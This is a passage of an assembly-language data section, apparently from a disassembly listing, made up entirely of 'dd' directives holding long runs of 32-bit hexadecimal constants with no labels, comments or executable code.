		dd 0BA23C5F3h, 8079EF1h, 38E1F1A4h, 3675FFADh, 90681813h
		dd 0BA3C7D62h, 0A64F7894h, 2D1B3174h, 1EDE5405h, 2784E54Bh
		dd 0EB4AF764h, 8E5391C7h, 0A34E4FB8h, 88ABD2D3h, 0E804BFE9h
		dd 513186Ah, 427EE1EBh,	0F7035C40h, 0FCFE04DAh,	0C07BD94Ch
		dd 83491D1Fh, 0D189C909h, 0BC0B7C5Ah, 62AA3429h, 45FF0BCAh
		dd 2122914h, 304CDE05h,	0E9DB60DFh, 9F2BBAADh, 0C53FB4F0h
		dd 5FEE2ED9h, 3B15158h,	0CB88531Bh, 0D9A0DBF6h,	0F7DCD0E9h
		dd 7758E609h, 7E82F061h, 7C9EFA21h, 36F65B02h, 57F6BCC2h
		dd 754BDF59h, 7685B38h,	7DFD395Eh, 5BCCE9B0h, 0C1B638B5h
		dd 150348E3h, 0F7311505h, 605BEC53h, 6BFE9C12h,	8359BFFFh
		dd 5F52891Dh, 5548DAC2h, 687D8A62h, 0D2BB8237h,	5BCA1E4h
		dd 5F85B2D4h, 0AAA5ECB9h, 344C89CEh, 4B186810h,	0FD12A4ECh
		dd 0FC37AFDDh, 0F0B7E4B3h, 13392D15h, 0A2A3D1Dh, 2507050Ch
		dd 0BEC0EE43h, 36633411h, 26D42754h, 0EC031A4h,	0BA1603CFh
		dd 0AE3B539Dh, 0CE92731h
		dd 0BBF0D34h, 7EA51E18h, 0FA2DDA85h, 3A55BAE3h,	891F746Bh
		dd 21473536h, 0ABF05494h, 0D80AD84h, 0E76F331Bh, 58E942Bh
		dd 0B415E908h, 2578B560h, 27E6BA2Fh, 0BA80211h,	0F0F8EE31h
		dd 562D1C25h, 118F7910h, 13146F13h, 48540ECAh, 0AB6C6BA5h
		dd 133B4708h, 0AE8E045Eh, 0F1B800D1h, 7F6C9F27h, 77450305h
		dd 30913529h, 4509BAD1h, 42D0FA96h, 3162A290h, 19689C1h
		dd 0F6802EF1h, 0BF863AEh, 72F3E928h, 0DA32C579h, 37A84131h
		dd 1EBC812Ah, 5470070Fh, 0A0660124h, 0C95DCDDCh, 78772D16h
		dd 0FD2BA239h, 0E951F1BEh, 283887FBh, 20B59EFh,	7AFE4B1Ch
		dd 296E18B5h, 0FA239819h, 4D2D85B2h, 0E95C7937h, 1099CF5Fh
		dd 0C6E9C48Fh, 0A2A313AEh, 3108D3C7h, 665A004Ch, 0E0B05052h
		dd 0DF30B238h, 9028F02Ch, 94C72C59h, 93CE8E1Ah,	0D75FF667h
		dd 0AFFAD2F5h, 0E45BAC99h, 0DC9F97A1h, 6F5C59CEh, 2C32A129h
		dd 0BF8C5B7Eh, 5E299638h, 0E01FEC3Eh, 12235BC5h, 0A291FA0h
		dd 908ED05h, 0E76090E9h, 391DF02Dh, 0BD566693h,	416FAC0Fh
		dd 0BDCC3B4h, 2DE9C2E0h, 27A042B1h, 73032AACh, 86D58927h
		dd 0B513A875h, 517FF742h, 0CD686144h, 0C3F13472h, 0ACD6F63h
		dd 7775EA5Ah, 0CABCD9F9h, 8AAA3116h, 0FD891788h, 1018CEABh
		dd 0E984B951h, 2E75F14Dh, 0CBEA6CC5h, 326A04E8h, 0DCC07774h
		dd 256D76CDh, 107728ADh, 1202F5A0h, 1E9334EFh, 5DD62745h
		dd 0A908F752h, 77C05ADCh, 180C8EEh, 9F4DB8CEh, 1567E6Ah
		dd 0C290DD25h, 9E4844E9h, 9AFCDF4Ah, 5F105FEAh,	6108EAFAh
		dd 3B46D15Ah, 5167EF84h, 5650EB6Ah, 16434808h, 91A7E531h
		dd 225F2C7Bh, 0B49788F7h, 56BE002Dh, 5C7ACC6Dh,	9A714752h
		dd 0B690CA0h, 0C16C33EFh, 3C551B1Ah, 0F69EA4D4h, 713406E9h
		dd 1688BD4Dh, 8D4CD8F1h, 41DA2051h, 98A97AF3h, 7DDD6809h
		dd 0D2DB7F54h, 684CDE80h, 2DA920B3h, 0B15A46CBh, 0C82D2A78h
		dd 625C7454h, 0A40B4C4Ah, 5C9138A4h, 816D6850h,	0BE565809h
		dd 0C133E27Dh, 7071638h, 0EB86E2E3h, 8487963h, 0E20D2DDFh
		dd 0B80CED9h, 21263629h, 22700C03h, 1AC07492h, 422756EEh
		dd 9F8DF065h, 61D6B53h,	145B0A0h, 34B3539Ch, 9801EB80h
		dd 85063CCEh, 49D95B20h, 48C29D76h, 0C0DB60F7h,	2DBEE834h
		dd 0D3F0DBF1h, 4CC9481h, 0FAF3EF4h, 0C1037B39h,	827E02EBh
		dd 6C74120Fh, 7C250C09h, 287C6Ah, 0E31E89E6h, 3819E93Ah
		dd 82E029B5h, 1FCC838h,	22DE8859h, 0DED4E49h, 25E48B10h
		dd 2C2765Ah, 7FE14FB2h,	5866905Fh, 5B0BA02Dh, 0A5DBB129h
		dd 0DD5119D5h, 8A987FD2h, 8594CA92h, 0CBEF5D44h, 138E13B7h
		dd 68374521h, 0B12AD5CDh, 60FE309Fh, 0C629FD82h, 4462A7D3h
		dd 622ADC50h, 0A50A7797h, 0EE337A02h, 9B07F56Eh, 20961DB7h
		dd 0D209C313h, 0F558A869h, 80111E2h, 56AC03E9h,	45208CA3h
		dd 0E454B041h, 8254B71Ah, 5F1BFA42h, 948A656Dh,	0D4698C3Eh
		dd 0C27E07C0h, 58C79007h, 0D75FF747h, 0E984B78Ah, 29EBC34h
		dd 951C67BEh, 0AA0BF57Dh, 77661582h, 0D3DDE762h, 0C8D62D16h
		dd 79E68642h, 42680BCFh, 9332FA7Ah, 0E1E6A5D7h,	0AC6FA804h
		dd 0F8E7C9E9h, 14595852h, 60B75B4Ch, 671D7BE5h,	0F221E58h
		dd 139A1850h, 36820402h, 0FCFFC0A0h, 0ABFF4FA5h, 0FA4AE2CFh
		dd 2E81DB28h, 649B9EEh,	36CE2945h, 7B5F0882h, 0E02CB39h
		dd 0A1D4FEF9h, 0A7E665CFh, 0E01F1FA9h, 0CC799E39h, 0C717CFBCh
		dd 72DA9B02h, 0F5FD0192h, 536AFCB2h, 6864AC82h,	5D995D07h
		dd 3021A70h, 3F92CB81h,	0F328608Fh, 0C7323D9Ch,	0D7C4E9A8h
		dd 0B2A830h, 427D970Dh,	3A933571h, 40CCC67Fh, 686D3403h
		dd 3672014Ah, 385808A1h, 0F7CD846Ah, 0E9623C16h, 5E317B24h
		dd 6B6FD3A4h, 0FCBEAB25h, 4C4F4F9Bh, 59D23332h,	0B2E5DBE9h
		dd 6007CE12h, 0BD2E6821h, 5F5B4B78h, 3B51F2B9h,	0BBBA32Eh
		dd 66758268h, 6A9E272Ah, 51C5D8F1h, 207A5A76h, 0C4A2B134h
		dd 7C78F857h, 7C266F5Fh, 821A8B96h, 0F4FF9009h,	80D7523Fh
		dd 2946285Ah, 6F450E0Dh, 6D202D1Ch, 0E913933Ch,	0A3E4CE2Ch
		dd 0F010F4ACh, 470EE818h, 5A007A41h, 0D92EB351h, 480DFD4h
		dd 0A1ED3C3Ah, 0BFC7C066h, 0F265A6Ch, 0C20526B7h, 0C85E655Bh
		dd 0AB8745B7h, 436DA160h, 0A773021Fh, 0B03349BFh, 2768D386h
		dd 0F8D6FCE0h, 2C63E4h,	0A19A0288h, 0A97D4192h,	17D86E50h
		dd 0B8666000h, 59619B64h, 3528D80Fh, 8100C38Bh,	931BD5C1h
		dd 9034B768h, 0D9410742h, 12605F1Ch, 3988850Fh,	0E60B309Ch
		dd 0A701831Dh, 3CCCB3CFh, 0C7613Fh, 0A0025E3Ch,	5051F91Bh
		dd 3AABC197h, 0C303CC60h, 0A2CF803Dh, 42178CC9h, 0D320122Ch
		dd 0C092E6h, 4FB6B59Eh,	68B72C9Ah, 0AB7D7B02h, 78BFA507h
		dd 0F78B2E71h, 865A3FCEh, 844DA891h, 32F060EFh,	3FF6B579h
		dd 1201657Eh, 23F8445Dh, 0C0CAE596h, 0B01686Eh,	0FC457310h
		dd 36F08DEDh, 667700C0h, 40760C0Eh, 96162C2Eh, 0FF10CA12h
		dd 9576F004h, 0B3860C8Dh, 2718326Fh, 0E9A9650Fh, 8062EFC5h
		dd 0A37B29BDh, 18493C57h, 10130500h, 0AB2428C9h, 424E29C8h
		dd 0F12759BFh, 0AC7A88C8h, 58843A90h, 42DD485Bh, 2624AE46h
		dd 6B938440h, 95007A2Bh, 0A56D1D5Dh, 611151h, 520242B0h
		dd 65F535C1h, 3B5F5E3Bh, 0CF5100E7h, 0DA47EBDDh, 3CE000D2h
		dd 0DFD0C2EEh, 0B2000EB7h, 0C33586F0h, 0E1A3653h, 0F8AC588Ch
		dd 0E3E63900h, 0D0006F09h, 0B4FBEF54h, 766E26CCh, 5750046h
		dd 56914C49h, 0F5000B66h, 0C134EE0Fh, 1F4C3EDh,	0FB65CD2Bh
		dd 0C0841427h, 0C5E023E0h, 0A72FCC00h, 77FF1774h, 0F0B707AFh
		dd 2051762Dh, 4F678F82h, 714C1300h, 0D0C0385Ch,	0BC79E2h
		dd 48B5E1B7h, 0DEA60DC8h, 6BF1D900h, 5C02C9AAh,	461700D1h
		dd 0F0D6D31Fh, 41F355BBh, 0E82BEBE8h, 2D00E292h, 3DD484C5h
		dd 1DC879B9h, 816AAA48h, 0CD5D9D59h, 4FCD60C6h,	6700BAECh
		dd 72B05345h, 1DA5483Ah, 42382A86h, 0F11A7720h,	0BB2B9880h
		dd 540F319Eh, 0FF155C4Ah, 7677EC00h, 7420955h, 0B7DA2D64h
		dd 0B9065DDh, 0C780CFA0h, 0D44538FCh, 284D5900h, 2215F1BEh
		dd 0AF070F30h, 3405EBB3h, 258800Dh, 1A00F24Fh, 0CEF587Eh
		dd 1D1CE4E5h, 82779B03h, 7A490815h, 0C07319C1h,	6900984Ch
		dd 0DF717F0Bh, 1FB1BECh, 41FC2209h, 207850FAh, 4F01EEEFh
		dd 0CFC8E571h, 0EBC81866h, 0CA60006Dh, 1B0D9AADh, 30486533h
		dd 28FA007Ch, 2AF29588h, 0E4870079h, 0D87B6D3Ah, 6C035E45h
		dd 5F5156C9h, 97B7F7DDh, 0A56F1F50h, 65150055h,	5A0A4AB0h
		dd 0FA003AC4h, 608622FCh, 1E32743h, 0D4A06FECh,	0D8345956h
		dd 0CF0BF4BCh, 78DDFBh,	0DE116251h, 0CC8B496Bh,	37312E00h
		dd 0D2F7AD70h, 29D0F61Dh, 0B60090E8h, 780655BDh, 1CC1ED9h
		dd 0FA38A0A4h, 246B095Bh, 7AF04C5Ch, 1B00F4B8h,	99B90463h
		dd 26BEB0h, 665C34DEh, 2DE9376Ch, 0B193DD00h, 0C1AFD549h
		dd 0E6DF1207h, 5174005Fh, 294B9E58h, 0BF6F232Eh, 5289A700h
		dd 9AA6B2h, 62908053h, 9D6006EFh, 2278503h, 3C182A59h
		dd 0F73F1DC0h, 0C7CC9400h, 0FAD67FFBh, 8B786560h, 0F368D0h
		dd 0B178F4CDh, 0B8751BB7h, 0B981F8A0h, 335B1306h, 887D66h
		dd 77F8C9CEh, 0FF724DF7h, 63701600h, 52795B1Ch,	444B140Ch
		dd 5031D96Ch, 0E0B0BD8Eh, 0B1F89C46h, 51E8AB00h, 6D672F96h
		dd 2B851CA6h, 0DE058306h
		dd 5D8141BBh, 0D7760A8h, 4AE65A00h, 0D123DC82h,	0F5A900A3h
		dd 9B4AEC5h, 3B005449h,	31AED60h, 5CF1FBh, 0FE0AC0B7h
		dd 17AE30DAh, 3243F8C0h, 3B6A1Eh, 2D5C1034h, 21500444h
		dd 4001F5E4h, 33E86112h, 0AED85226h, 5E600A8h, 0FBDC9EBCh
		dd 0D10092C6h, 0C182DAF0h, 0CEF793h, 4D1D0823h,	3E7506B4h
		dd 2A113F00h, 0F2ACA4D9h, 74D0079Eh, 33B1268Dh,	51979CBAh
		dd 307132EAh, 0D72A7D29h, 0A600BCDDh, 0CAD4B8E2h, 4CF7DAAAh
		dd 1C0118C8h, 7C70ECDEh, 789FE484h, 85003492h, 0C2B0248Ch
		dd 28BBE49Eh, 3DC89DC5h, 0A6800FF2h, 7DBD98B1h,	0A13C51A7h
		dd 0D994045Bh, 4D80F8D0h, 1D429040h, 0BCBB81h, 0E916C15Eh
		dd 13ECD4B7h, 3DE55800h, 0E8B0FE68h, 0CD850039h, 6BE9D5D8h
		dd 0DE3D6C77h, 20B40925h, 5FE480E4h, 2422F964h,	902B04h
		dd 62D43270h, 4C0F2642h, 20DC21FDh, 316F6BB7h, 0C8630008h
		dd 5071CFE8h, 0AE01189Dh, 38E93F40h, 3EE849F3h,	0DF510077h
		dd 5BB9B123h, 0C3036DB3h, 18D83A60h, 0D9CBF0F7h, 67DC0h
		dd 0A2D286CAh, 0DEF976DAh, 80BFA300h, 49C4AB9Eh, 0C090DE2Eh
		dd 0D6796B44h, 0C8EA5D46h, 0BC60149Ah, 73AD50A4h, 0C1431E35h
		dd 4EB3DD4Bh, 39E05303h, 2DCC48F9h, 0E03DEE07h,	630DE1Dh
		dd 9851446Ah, 53D0001Ch, 4D83AF84h, 0E10EB955h,	0C3DF1242h
		dd 0F8CE958Dh, 0C36658h, 0FA946E5Eh, 87A6B4F5h,	32574000h
		dd 37F2BE6Dh, 2CC7DD3h,	1AD142A4h, 0FCC0C3F8h, 280F368Eh
		dd 60388567h, 0E487759h, 536B004Dh, 645C3DFFh, 700E30F2h
		dd 0DE571C89h, 7650F89h, 0DDB00560h, 83FA28h, 0F39D18CDh
		dd 6F667F19h, 244DED5Ch, 0D44A2C72h, 6C061880h,	0ED5819h
		dd 3B299F05h, 41471069h, 32DA8009h, 314CA056h, 2D0C58Dh
		dd 0EB61A8B7h, 6C685915h, 1301D221h, 4914C08Ch,	0C8BFBD4Eh
		dd 6104ACCDh, 90557DA5h, 1696260h, 7A989003h, 658DB5h
		dd 9E797219h, 7133AE58h, 0D9001890h, 174DF51Ch,	1DB0660h
		dd 55E078E1h, 0FC5B6E18h, 23184BAFh, 92026F8h, 0CD34000Fh
		dd 28C83C0Bh, 0F04CD0D6h, 0CC998E68h, 0EA5C998h, 0E1BB82EAh
		dd 0E957D5A0h, 4300ADF4h, 0BFA0236Fh, 79CD4Eh, 46B52FAh
		dd 1648688Fh, 0FB744F05h, 0AB07A0EDh, 5CA70572h, 509960C6h
		dd 0E5E917h, 6FD7BE8Eh,	81FBD4FAh, 0CC76BA7Eh, 521EFD00h
		dd 8D3E440Bh, 0AF2600D1h, 0A4B868B9h, 97005D51h, 5E253992h
		dd 3920C763h, 2E809D4Bh, 0E90DBF65h, 0F51D0914h, 4283D781h
		dd 806FDF92h, 222399h, 542CD6A9h, 5372FDABh, 0F531EC00h
		dd 1E3B7C3Ah, 436B0025h, 8A93C597h, 54002F28h, 0F279D34Bh
		dd 13274AB8h, 151A7Eh, 8AC6AF94h, 0C839A6D6h, 0D898007Ch
		dd 0E38DBC70h, 7EAD0161h, 92A054F4h, 1442D89Dh,	4E75348h
		dd 5B67490Ah, 0EF6F5090h, 1362EC2Dh, 70F3Bh, 0E1722094h
		dd 7A737F48h, 41E1212h,	3043A813h, 0E86208D0h, 0EE03096h
		dd 89AEF627h, 39524740h, 0FF00AD74h, 0FE42BE6h,	1F80F402h
		dd 6459F298h, 3900B8BCh, 0E7DCA140h, 400AA46h, 119C6C13h
		dd 4C3B6D49h, 0C7008B76h, 92A1FA83h, 38172EA4h,	4E00B171h
		dd 0CBF0BC66h, 8C250405h, 808F5FD0h, 994FC1CCh,	0E7C22C20h
		dd 9AF070h, 8C4E04B9h, 804214ABh, 5A1F9F24h, 26309000h
		dd 3BDDA465h, 721E224Fh, 681C8043h, 5D113B39h, 10E2E7Dh
		dd 6427D14Dh, 0CC806433h, 7A5443Fh, 9D6519B9h, 125A37C3h
		dd 0B1C04AE9h, 7E00E5CDh, 641BE09h, 7F7C454Eh, 32D000DEh
		dd 3B169D0Fh, 95FA2BF5h, 0C9C0FF00h, 3D136A2Ch,	9D6E0062h
		dd 8B387E80h, 0D000D592h, 4F91122h, 4663F46h, 0D24A24ECh
		dd 4750C0B1h, 7D305821h, 297011E3h, 8630E582h, 0B93600EEh
		dd 0CF427FC1h, 9B00B483h, 0C9CD79C0h, 3DECBA54h, 0F300C55Fh
		dd 0D6C63EA6h, 91A084EDh, 0DF0024D1h, 0C4EE080Ah, 86E17Ah
		dd 8EF7074Eh, 6E51571Eh, 0D272FE01h, 769B83EAh,	39A7C8h
		dd 3DDCA03Fh, 0DE20E665h, 0AC743700h, 0DF420AFCh, 28D0B8E1h
		dd 0F43B2Bh, 8CEF3BCh, 7698F22h, 87C9B412h, 1B00E413h
		dd 23FAAAE9h, 2CD300FCh, 0BA0661F3h, 710EE5C0h,	0E7F6D993h
		dd 58B0C59Bh, 3EEEB390h, 1F00EF29h, 0DB7E6EE4h,	2390604Fh
		dd 6FEAA03h, 0F9C5DF3Fh, 4720A43Ah, 0A0110019h,	93160AADh
		dd 6000B36Dh, 0EA513814h, 0EB6774h, 0EB2B77Ch, 0BF5B5348h
		dd 0B8C91930h, 1445E26h, 0E308A07Fh, 0D8571407h, 0F600B26Eh
		dd 0E9BF6104h, 22FFC4h,	0C103648Ah, 88CCF2F7h, 0E17B9406h
		dd 9048C8B6h, 769728F4h, 0EDA800D4h, 32E38951h,	234BEFD1h
		dd 0C33B3C00h, 6AB884Fh, 0E1649329h, 9800E01Ch,	3EA58C38h
		dd 0E9D1417h, 396BB277h, 84EA0AC5h, 8E2480FBh, 0A200D55Ah
		dd 1C10C50Fh, 81985Fh, 0F3338F39h, 89447657h, 59C49500h
		dd 69B465A5h, 0D4B0D3h,	412963AFh, 83EF4027h, 2B9D0307h
		dd 3ED7C9A3h, 75BC2EA0h, 2D9500CAh, 0B582A790h,	0A50FBB9Bh
		dd 96763826h, 0B348800h, 0FEFB7ABh, 3BE10A15h, 90529940h
		dd 59002A8Ah, 3765D3AFh, 3DE76430h, 4D80EC50h, 4E2942CFh
		dd 0D2005F08h, 0B8363184h, 7B30F1h, 8C80C7D5h, 5B1C4289h
		dd 581F3E84h, 40BCE19Dh, 70203B9Bh, 500069A6h, 12DDC3E8h
		dd 0BB49016h, 5426995Dh, 1BC61881h, 87F0F3F1h, 8F3FD776h
		dd 78D200D0h, 35F519DDh, 0F088007Ah, 0E76D69Ch,	9200BEBFh
		dd 0B9B865ABh, 1988208h, 24F4E8D2h, 0D09305ECh,	2006C38h
		dd 0C81AD57Ch, 75B89FA9h, 8DF00072h, 0C27DFA1Bh, 0F501E55Ah
		dd 0B2D7D951h, 542C3609h, 0EA1AC607h, 58C07FE9h, 27DC9B8Fh
		dd 383E7600h, 9DE03118h, 7ACC00B3h, 1B6C53F9h, 0C18F459h
		dd 5A98B6BCh, 49300018h, 0E4CC78F8h, 6B00DD93h,	83C3384h
		dd 463C621h, 0D3ABA153h, 4D58F0CEh, 992EA900h, 9B85E3D6h
		dd 91E41306h, 8D808752h, 0B361E218h, 0FE1090C0h, 0DF60B503h
		dd 20399D2Fh, 40CE83ACh, 37CA1716h, 9E18EE39h, 7A87C380h
		dd 2A01333Dh, 4DCC5312h, 0F86010A1h, 1DEE1847h,	5EBE40ADh
		dd 4323361Eh, 79B31680h, 0C9100Ah, 0C1EA89F9h, 75D94DCDh
		dd 11B6100h, 117077DFh,	0C8630382h, 0EEC2D031h,	0CBC1AAC0h
		dd 77F7D300h, 0D209164Eh, 0A2C009Ch, 354855C3h,	0C000493Dh
		dd 0AE9DA30Eh, 354E8FEh, 890B1274h, 0E0DFFBE5h,	800534DBh
		dd 3A2D320Eh, 263840BCh, 4C02Bh, 0FAADF825h, 0D653F14Eh
		dd 0EA182700h, 0A73C2339h, 0A0B40021h, 0B1DCEFE4h, 9800FF6Ch
		dd 9924FBD3h, 21A0527h,	1038A31Dh, 0FCAA9BA9h, 0D58701C1h
		dd 0E3D02F43h, 51CF96F9h, 431CB3D0h, 40BFCA9Ch,	38F00892h
		dd 21D29730h, 306FC034h, 4A11FFFBh, 21105CFEh, 3860C84Fh
		dd 0E4B3583Ah, 683F11C0h, 6344D946h, 42938132h,	0EA3D9022h
		dd 0CEFF0A50h, 81E81AAEh, 13060A7Ch, 0C0084715h, 0EC27AF4Ch
		dd 0A22FDC00h, 62C0501Ah, 0C2A7160h, 35915F11h,	0ED0620D0h
		dd 44E54FD8h, 920C0E10h, 934E8B52h, 2800CE29h, 28FA6CC7h
		dd 0D32FC800h, 45571846h, 0E74C1FADh, 53E30FC5h, 101DFB06h
		dd 89261131h, 80FB2A3Ch, 31DA8Dh, 565212F0h, 0EA395DD2h
		dd 13B13F0h, 0A85316h, 2FA85983h, 2AA1F17h, 0F140CAD6h
		dd 70403AA4h, 0B160679Dh, 995879A9h, 0AB341CD5h, 352B00FCh
		dd 304AD987h, 0AFB294A8h, 0B0E7CB31h, 1CEDF7C9h, 8320998Fh
		dd 7852CD80h, 0EB022F5Fh
		dd 3C74928h, 939884EAh,	0ADE80BC0h, 30BEE6E9h, 0C019DF3Bh
		dd 130254E4h, 5BB6C127h, 1B210EBh, 741E8300h, 4D5368A1h
		dd 8824504Bh, 301907B8h, 0A06E4779h, 5EFC03AFh,	9F1BB3F4h
		dd 0E0A0F32Fh, 0C2FBFF87h, 0D0983918h, 4CD388A0h, 48C31ABBh
		dd 50CBFCAAh, 3CBC1019h, 7CC911h, 3EB1A909h, 9847F31Fh
		dd 1458CC00h, 2564BE74h, 49D40389h, 53C6992Ah, 20B07BC1h
		dd 0C774A8B6h, 0E680270Fh, 0AF8D0030h, 1D712B64h, 0F315AE2h
		dd 82A0341Fh, 920B4BC0h, 80F2D338h, 312ECD7Dh, 50C288h
		dd 55D58217h, 4FC67816h, 38E52A29h, 0C3770443h,	184AC768h
		dd 8116354h, 0C0C32966h, 0B7A2B000h, 0C89C1449h, 0CDF758F2h
		dd 9B115300h, 7C16431Fh, 0F52FC00Fh, 20360090h,	2829B37Eh
		dd 368E50Ah, 0E4F445ECh, 394062D3h, 4AFE598h, 0E1B1CA86h
		dd 21D05C10h, 0E33B9100h, 45FC76AAh, 0F7F91C00h, 0E8B9A259h
		dd 43250CCBh, 0C730E630h, 4F91EB0Ch, 0A4D18E9h,	5371EC41h
		dd 7F490008h, 0F1C56E1Fh, 420A7E70h, 2CA63C95h,	0C6519A03h
		dd 0B1E3D2F6h, 88A3C70Ch, 0D8E870Ch, 6A60C03Dh,	59C384C5h
		dd 33FA25Ah, 61CD4379h,	400C9365h, 0E8494ACFh, 519B1873h
		dd 0F6C959CBh, 0CF78CC54h, 58444C28h, 78BFCB43h, 0B6437E87h
		dd 0C3063ABFh, 0DD7A74A8h, 41FDF001h, 4F772CE5h, 18CECC24h
		dd 28254A49h, 0C1DB4A0h, 0C70A205Eh, 1F020C29h,	48DFC3F0h
		dd 1F9A60E4h, 0C0CA55CEh, 0A6948774h, 672886F4h, 0F3090C7Ah
		dd 2028614Ah, 0AD7EA8FCh, 0F91A03B6h, 69D327C6h, 9EA0F2E7h
		dd 0DC020C8Fh, 1468ECA3h, 58A0BD6Ch, 3B146068h,	0E864E7D1h
		dd 875D40FCh, 76A68405h, 8C104628h, 5DB21BCh, 2122C56Dh
		dd 82F1C7B8h, 0B4E09F80h, 0E5F0AF78h, 0F8326E23h, 2DE08295h
		dd 0F35C61E5h, 7110EB08h, 4061E93Fh, 85FE237Dh,	324A7AC0h
		dd 282B8C32h, 0BE04D4E4h, 0A25E28B3h, 98907CC9h, 82909888h
		dd 1E7C8844h, 3C6568C1h, 80502C86h, 0A6AAE12Dh,	7EF70488h
		dd 82484D23h, 9B101A64h, 0DD94A431h, 0E0E1D540h, 8242939h
		dd 4AD8640Ch, 7CE680ECh, 280C8C99h, 0BE00955h, 0D1536086h
		dd 448A043Fh, 4360885Ah, 50C9E12Eh, 84DFF4F2h, 94A4D4EAh
		dd 4A24EC7Bh, 0DD826044h, 44FE157Dh, 9A4C4428h,	305580AEh
		dd 0B90C1898h, 288CBE50h, 694CBFE2h, 9C11FB0Ch,	0A804F57Eh
		dd 0EF32D331h, 8073E025h, 0C99464Bh, 8C6E8214h,	0D59C5224h
		dd 0DF460B08h, 0F2CA2490h, 0E4A0AB8Ch, 484E2C21h, 4B221425h
		dd 58D88253h, 2E468374h, 50205748h, 7D9359C4h, 32DB87D8h
		dd 0B8B1F0A3h, 817CA89Bh, 8AB4FE4Ch, 816DD864h,	95584DF2h
		dd 0B4264C60h, 0BD887F2Ch, 4B62D7E8h, 65C33793h, 1D09376h
		dd 247CF510h, 2139A45Ch, 0F2B7E178h, 0A024A22h,	1E2C11DCh
		dd 0FBD36181h, 4AD11000h, 500DE4A5h, 22D2C482h,	0AD203D23h
		dd 61D024D5h, 0C03C48A8h, 2DDB04F2h, 8EE8228Fh,	0D554083Ch
		dd 0A8F27AB7h, 53E03CD8h, 8F2545BCh, 0D7D108h, 3EDBCAAEh
		dd 0D000896Ah, 1FA20729h, 0F8BAFC3Fh, 94111F43h, 0E5040AD5h
		dd 46ED0F14h, 0F2E2A880h, 0F4A024CEh, 0E891FCF4h, 873DFF00h
		dd 0C4FA689h, 379EE164h, 21C01308h, 2C8745E2h, 481DFAA6h
		dd 66B168B7h, 12683051h, 1C134944h, 8743CFCEh, 59F07724h
		dd 0C56A1001h, 5A64247Dh, 0E21E9A12h, 8F767040h, 7BDD73D7h
		dd 0A2C92C5h, 97F807B3h, 0E70F7820h, 0D8A01D8Ch, 4B5F0059h
		dd 886C6734h, 0B2652D0Fh, 80BCD555h, 0BED32F06h, 0C7B1073Dh
		dd 10A683B4h, 0B7C5E159h, 0C1547101h, 0B18C89FDh, 0C0189847h
		dd 0A68B873Fh, 12225F46h, 8701E473h, 0DB5955EAh, 4460616Eh
		dd 0B80E6E01h, 529244Ch, 0A75D2B01h, 0DDB17CC3h, 0F5E66180h
		dd 5DADF4Eh, 0D6B38C1Fh, 670D486Ch, 983040F9h, 0E7B03743h
		dd 0B3D7D331h, 16E35E80h, 9664433h, 0A52100C9h,	8E78B3CFh
		dd 0EC03B57Ch, 0EDE80EDAh, 9A43C7DBh, 0F8E02314h, 8D873901h
		dd 16182FA6h, 1D41DE88h, 40894087h, 0F0911FB1h,	0CF001CDAh
		dd 5CF382A0h, 2E0D115h,	98484C03h, 0F068F447h, 2700FF13h
		dd 0C0FC69D8h, 74047223h, 0E8084DC1h, 27F7340Fh, 0C6ABD6E3h
		dd 7CA09800h, 9FEB9985h, 0CAEF18BFh, 0A5DCA9E2h, 520191DEh
		dd 1803B0C9h, 0C8E83BFCh, 0FAC09378h, 2169DD27h, 3960C114h
		dd 1C8827F2h, 4A73C46h,	80E31185h, 0A6E82D14h, 0D1D56E19h
		dd 5670E511h, 0C90E187Ch, 0CACF10F3h, 1280464Dh, 0E8808D67h
		dd 6FF603A0h, 213809C8h, 60009507h, 7C9029DEh, 1ED565FEh
		dd 0FA223769h, 0DF24B00h, 0D6B1778Dh, 9E63E9C0h, 0AE5605h
		dd 4D60EAE1h, 8BBDA46Dh, 407A2200h, 447219E9h, 0B8975C1h
		dd 742CAFF9h, 29CEA010h, 0D4123624h, 0E77EAA01h, 0C9941C43h
		dd 8F835CD1h, 90D23D60h, 540CC33h, 89156097h, 802F2A1Eh
		dd 4C04DC53h, 0B607CA39h, 0B743605Fh, 0EE26925Dh, 0E00F046Dh
		dd 2A7A0377h, 3310026Fh, 0F56A624Bh, 8ACCC88h, 0FF07BCEDh
		dd 98EF92DDh, 64B4928h,	0F840552Ch, 3544A894h, 4D66070Dh
		dd 103A0FD6h, 0FA3286F0h, 5B57BF00h, 0A87AC37Bh, 13F03D4h
		dd 37C9EEDCh, 0F5B6390Fh, 850B8086h, 0E6C69Dh, 367D1A03h
		dd 0F1C920AAh, 3C48B57Eh, 172302A4h, 686229CFh,	92024670h
		dd 2B0B0014h, 0BBBD20C6h, 75004455h, 0E2F7B57Dh, 5136AB10h
		dd 5C42ACEBh, 4A84CF6h,	0A68F873Bh, 211B623Fh, 0EC8743E0h
		dd 2C0E16D3h, 0A0857766h, 9671D125h, 6779DDh, 22C78C04h
		dd 6CB9E915h, 0F30065F2h, 3B71D816h, 0E252495Eh, 0A448B0F4h
		dd 2CE464Ch, 0D13A608Eh, 103F3198h, 3E609608h, 0D1806D43h
		dd 3E662206h, 5F0AF515h, 0CC3FAA7Ah, 600E782Ch,	83478067h
		dd 0E691FB7Ch, 0FEF0EA7h, 0BB40C5A0h, 63F79E6Ah, 0A8306D0Bh
		dd 62BC8114h, 0BD00CA35h, 41828438h, 0DD184964h, 5DFAB31Ch
		dd 1FCA11E3h, 3E40D5A3h, 0B5F06520h, 865C095Bh,	0C827E08h
		dd 6020E4C8h, 0C06C0E9Ah, 5DF85270h, 9509171Bh,	0B74D4EEBh
		dd 8A8E030Ch, 6811C3AEh, 8300E0C9h, 33D05D79h, 82E524Eh
		dd 25A8DCh, 1AD2F07Ch, 464498D7h, 27FE0797h, 0C09469D9h
		dd 35200732h, 0F8C427F6h, 34DC4C81h, 0CFC23707h, 0A61B2258h
		dd 0CD2CAC80h, 0A548D146h, 60210034h, 0DB4EA30h, 0A09CB028h
		dd 12D56C6Ah, 216A2C84h, 87DEAF80h, 161D5BB9h, 0FBA870D0h
		dd 235D0229h, 0D61ECF59h, 6BB67CC8h, 69CE40C1h,	0C864E1B5h
		dd 122C908Fh, 40205F4Ah, 0F9D9D05Ch, 72001F7Eh,	61E73D99h
		dd 18F12F26h, 30CF8B56h, 622451CEh, 0C700A409h,	8233EEE6h
		dd 662624A2h, 3F940260h, 78665674h, 0F1D7D813h,	1249AB07h
		dd 0E072B570h, 0C81B01AAh, 0BED2D9B2h, 0A9ECCCEFh, 68D37E26h
		dd 41D7B08Ch, 9BDE00BDh, 15832E0Dh, 27F0D8B9h, 0BA4C3200h
		dd 0C8475957h, 96F80705h, 202E9FCEh, 8AFE3676h,	63FFA600h
